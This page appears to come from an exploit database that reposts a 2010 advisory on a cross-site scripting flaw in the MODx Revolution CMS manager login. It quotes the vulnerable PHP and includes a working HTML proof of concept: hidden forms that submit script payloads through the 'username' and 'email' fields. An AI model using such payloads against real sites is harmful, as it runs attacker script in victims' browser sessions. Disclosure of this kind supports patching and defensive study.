Home / os / win7

[webapps / 0day] - MODx Revolution CMS 2.0.4-pl2 Remote XSS

Posted on 06 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability by LiquidWorm in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===================================================================== MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability ===================================================================== &lt;!-- Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability Vendor: MODx, LLC. Product web page: http://www.modxcms.com Affected version: 2.0.4-pl2 (public launch 2) Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely with custom code and helps you build sites faster and maintain them with ease. With Revolution you&#039;ll leverage the best things to come around since MVC and Active Record. Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to the &quot;username&quot; and &quot;email&quot; parameters via POST method in login.php script at the manager login interface. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user&#039;s browser session. ############################################################# ------------------------------------------------------------- /var/html/www/manager/controllers/default/security/login.php: ------------------------------------------------------------- 25: /* handle login */ 26: if (!empty($_POST[&#039;login&#039;])) { 27: $validated = true; 28: 29: $user = $modx-&gt;getObject(&#039;modUser&#039;,array( 30: &#039;username&#039; =&gt; $_POST[&#039;username&#039;], 31: )); ... 71: } else if (!empty($_POST[&#039;forgotlogin&#039;])) { 72: $c = $modx-&gt;newQuery(&#039;modUser&#039;); 73: $c-&gt;select(array(&#039;modUser.*&#039;,&#039;Profile.email&#039;,&#039;Profile.fullname&#039;)); 74: $c-&gt;innerJoin(&#039;modUserProfile&#039;,&#039;Profile&#039;); 75: $c-&gt;where(array( 76: &#039;Profile.email&#039; =&gt; $_POST[&#039;email&#039;], 77: )); ------------------------------------------------------------- Tested on: Fedora 10 (Cambridge) Apache 2.2.14 PHP 5.2.10 MySQL 5.0.88 Vulnerability discovered by: Gjoko &#039;LiquidWorm&#039; Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2010-4982 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php Vendor Advisory URL: http://bugs.modx.com/issues/2918 05.12.2010 PoC: --&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;MODx Revolution CMS Cross-Site Scripting (XSS) Proof Of Concept Script&lt;/title&gt; &lt;link rel=&quot;Shortcut Icon&quot; href=&quot;http://www.zeroscience.mk/favicon.ico&quot; type=&quot;image/x-icon&quot;&gt; &lt;/head&gt; &lt;body background=&quot;http://a1.twimg.com/profile_background_images/135331344/twzslbg.jpg&quot;&gt; &lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;font color=&quot;gray&quot;&gt; &lt;h3&gt;&lt;strong&gt;MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)&lt;strong&gt;&lt;/h3&gt; &lt;/font&gt;&lt;/center&gt; &lt;script type=&quot;text/javascript&quot;&gt; function zsl_user() { document.forms[&quot;modx-login-form&quot;].submit(); } function zsl_mail() { document.forms[&quot;modx-fl-form&quot;].submit(); } &lt;/script&gt; &lt;div id=&quot;The Form Of The Ninja&quot; style=&quot;visibility:hidden&quot;&gt; &lt;form action = &quot;http://example.com/manager/&quot; id = &quot;modx-login-form&quot; enctype = &quot;application/x-www-form-urlencoded&quot; name = &quot;hack&quot; method = &quot;post&quot; &gt; &lt;input type = &quot;hidden&quot; name = &quot;login_context&quot; value = &quot;mgr&quot; /&gt; &lt;input type = &quot;hidden&quot; name = &quot;modahsh&quot; value = &quot;&quot; /&gt; &lt;input type = &quot;hidden&quot; name = &quot;returnUrl&quot; value = &quot;/manager/&quot; /&gt; &lt;input type = &quot;text&quot; id = &quot;modx-login-username&quot; name = &quot;username&quot; tabindex = &quot;1&quot; autocomplete = &quot;on&quot; class = &quot;x-form-text x-form-field&quot; value = &#039;&quot;&gt;&lt;script&gt;alert(&quot;username param XSSed!&quot;)&lt;/script&gt;&#039; /&gt; &lt;input type = &quot;password&quot; id = &quot;modx-login-password&quot; name = &quot;password&quot; tabindex = &quot;2&quot; autocomplete = &quot;on&quot; class = &quot;x-form-text x-form-field&quot; /&gt; &lt;input type = &quot;checkbox&quot; id = &quot;modx-login-rememberme&quot; name = &quot;rememberme&quot; tabindex = &quot;3&quot; autocomplete = &quot;on&quot; checked = &quot;checked&quot; class = &quot;x-form-checkbox x-form-field&quot; value = &quot;1&quot; /&gt; &lt;input type = &quot;hidden&quot; name = &quot;login&quot; value = &quot;1&quot; /&gt; &lt;/div&gt; &lt;br /&gt;&lt;br /&gt; &lt;a href=&quot;javascript: zsl_user();&quot; style=&quot;text-decoration:none&quot;&gt;&lt;b&gt; &lt;font color=&quot;red&quot;&gt;&lt;center&gt;&lt;h3&gt;1. Exploit &quot;username&quot; parameter! &lt;h3&gt;&lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;/center&gt;&lt;/form&gt; &lt;div id=&quot;The Form Of The 2nd Ninja&quot; style=&quot;visibility:hidden&quot;&gt; &lt;form action = &quot;http://example.com/manager/&quot; id = &quot;modx-fl-form&quot; enctype = &quot;application/x-www-form-urlencoded&quot; name = &quot;hack&quot; method = &quot;post&quot; &gt; &lt;input type = &quot;text&quot; id = &quot;modx-login-email&quot; name = &quot;email&quot; class = &quot;x-form-text x-form-field&quot; value = &#039;&quot;&gt;&lt;script&gt;alert(&quot;email param XSSed!&quot;)&lt;/script&gt;&quot;&#039; /&gt; &lt;/div&gt; &lt;a href=&quot;javascript: zsl_mail();&quot; style=&quot;text-decoration:none&quot;&gt;&lt;b&gt; &lt;font color=&quot;red&quot;&gt;&lt;center&gt;&lt;h3&gt;2. Exploit &quot;email&quot; parameter! &lt;h3&gt;&lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;/center&gt;&lt;/form&gt; &lt;/body&gt; &lt;/html&gt; # <a href='http://1337db.com/'>1337db.com</a> [2010-12-06]</pre></body></html>

 

TOP